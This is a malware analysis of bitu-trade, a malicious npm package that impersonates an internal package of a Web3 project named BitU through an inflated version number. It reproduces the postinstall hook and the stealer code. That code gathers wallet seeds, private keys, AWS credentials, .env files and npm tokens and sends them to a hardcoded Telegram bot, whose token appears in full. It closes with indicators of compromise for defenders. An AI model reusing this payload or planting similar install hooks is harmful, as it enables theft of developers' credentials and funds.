bitu-trade - Crypto Stealer
Part of a ten-package cluster of malicious npm packages impersonating internal packages of a Web3/DeFi project named "BitU". bitu-trade@99.0.0 carries the V1 payload (beacon tag BITU_NPM_BEACON), shared identically across nine of the ten packages. On install, a postinstall hook exfiltrates crypto-developer credentials: environment variables matching credential patterns (MNEMONIC, SEED, WALLET, DEPLOYER, SIGNER, INFURA, ALCHEMY, PRIVATE), AWS credentials, .env file contents, git config, .npmrc, and the Foundry keystore directory (~/.foundry/keystores/). All data is sent to a hardcoded Telegram bot. The package exports an empty object and has no legitimate functionality.
Package
Threat Actor
UnknownTags
Package Metadata — Version Squatting
bitu-trade carries the generic description "BitU module" with no author field, repository link, or homepage. Version 99.0.0 uses a deliberately inflated version number — set high enough that npm will always resolve this public package over any internal one sharing the same name. index.js exports an empty object; all payload logic runs from scripts/postinstall.js via the postinstall lifecycle hook.
package.json — generic metadata, no author, postinstall hook
{
"name": "bitu-trade",
"version": "99.0.0",
"description": "BitU module",
"main": "index.js",
"scripts": {
"postinstall": "node scripts/postinstall.js"
}
}
V1 Payload — Crypto Credential Stealer
The V1 payload runs a targeted credential sweep. Environment variables are filtered by regex matching KEY, SECRET, TOKEN, PRIVATE, PASSWORD, MNEMONIC, SEED, DEPLOYER, SIGNER, WALLET, AWS, INFURA, and ALCHEMY — covering the credentials a developer on this kind of project would typically have configured. The Foundry keystore check (~/.foundry/keystores/) is particularly notable: Foundry is the standard Ethereum development toolkit and its keystore directory holds encrypted Ethereum private keys. Presence of this path confirms specific knowledge of the Ethereum development toolchain. All keys collected alongside hostname, username, platform, cwd, AWS credentials, .env file contents, git config, and .npmrc.
scripts/postinstall.js (V1) — crypto-targeted credential collection
const data = {
t: 'BITU_NPM_BEACON',
ts: new Date().toISOString(),
h: os.hostname(),
u: os.userInfo().username,
p: os.platform(),
cwd: process.cwd(),
env: Object.keys(process.env).filter(k =>
/KEY|SECRET|TOKEN|PRIVATE|PASSWORD|MNEMONIC|SEED|DEPLOYER|SIGNER|WALLET|AWS|INFURA|ALCHEMY/i.test(k)
).reduce((o,k) => { o[k] = process.env[k]; return o; }, {}),
allEnvKeys: Object.keys(process.env).join(','),
ssh: safeExec('ls -la ~/.ssh/ 2>/dev/null'),
aws: safeExec('cat ~/.aws/credentials 2>/dev/null'),
envFiles: safeExec('find ~ -maxdepth 3 -name ".env*" -type f 2>/dev/null'),
envContent: safeExec('find ~ -maxdepth 3 -name ".env*" -type f -exec cat {} \\; 2>/dev/null'),
foundryKeys: safeExec('ls -la ~/.foundry/keystores/ 2>/dev/null'),
gitConfig: safeExec('cat ~/.gitconfig 2>/dev/null'),
npmrc: safeExec('cat ~/.npmrc 2>/dev/null')
};
Telegram C2 Exfiltration
Data is serialised as JSON, split into 3,500-character chunks to stay within Telegram's 4,096-character message limit, and sent to a hardcoded bot token and chat ID shared across all ten packages. V1 messages are tagged [BITU-NPM N/M] with Markdown code block formatting. The use of a single shared Telegram C2 means every victim installation is delivered to the same attacker inbox — if a developer has multiple bitu-* packages as dependencies, all fire on the same npm install run.
scripts/postinstall.js — Telegram exfiltration
const botToken = '8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk';
const chatId = '7604069194';
const fullMsg = JSON.stringify(data, null, 2);
const chunks = [];
for (let i = 0; i < fullMsg.length; i += 3500) {
chunks.push(fullMsg.substring(i, i + 3500));
}
chunks.forEach((chunk, idx) => {
const postData = JSON.stringify({
chat_id: chatId,
text: `[BITU-NPM ${idx+1}/${chunks.length}]\n\`\`\`\n${chunk}\n\`\`\``,
parse_mode: 'Markdown'
});
const req = https.request(
`https://api.telegram.org/bot${botToken}/sendMessage`,
{ method: 'POST', headers: { 'Content-Type': 'application/json' } }
);
req.write(postData); req.end();
});
Indicators of Compromise
Malicious Packages
| Package | Version | Author | Notes |
|---|---|---|---|
| bitu-trade | 99.0.0 | — | V1 payload — BITU_NPM_BEACON; postinstall hook; identical payload to all other V1 bitu-* packages |
URLs
| URL | Context |
|---|---|
| hxxps://api.telegram[.]org/bot8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk/sendMessage | Sole C2 — Telegram bot; chat_id 7604069194; shared across all ten bitu-* packages |
Targeted File Paths
| Path | Context |
|---|---|
| scripts/postinstall.js | Payload entry point in all packages; invoked by npm postinstall lifecycle hook |
| ~/.foundry/keystores/ | Foundry Ethereum private key directory listed; confirms Web3/DeFi developer targeting |
| ~/.aws/credentials | AWS credential file read in full |
| ~/.gitconfig | Git user identity — developer identification |
| ~/.npmrc | npm auth tokens and registry config |
Environment Variables / Config Paths
| Artefact | Context |
|---|---|
| MNEMONIC / SEED | Wallet mnemonic / seed phrase — direct wallet compromise |
| PRIVATE / PRIVATE_KEY / DEPLOYER | Ethereum private keys for contract deployment |
| INFURA_KEY / ALCHEMY_KEY / ALCHEMY | RPC provider API keys |
| SIGNER / WALLET | DeFi signer/wallet credentials |
| AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY | AWS credentials — cloud infrastructure access |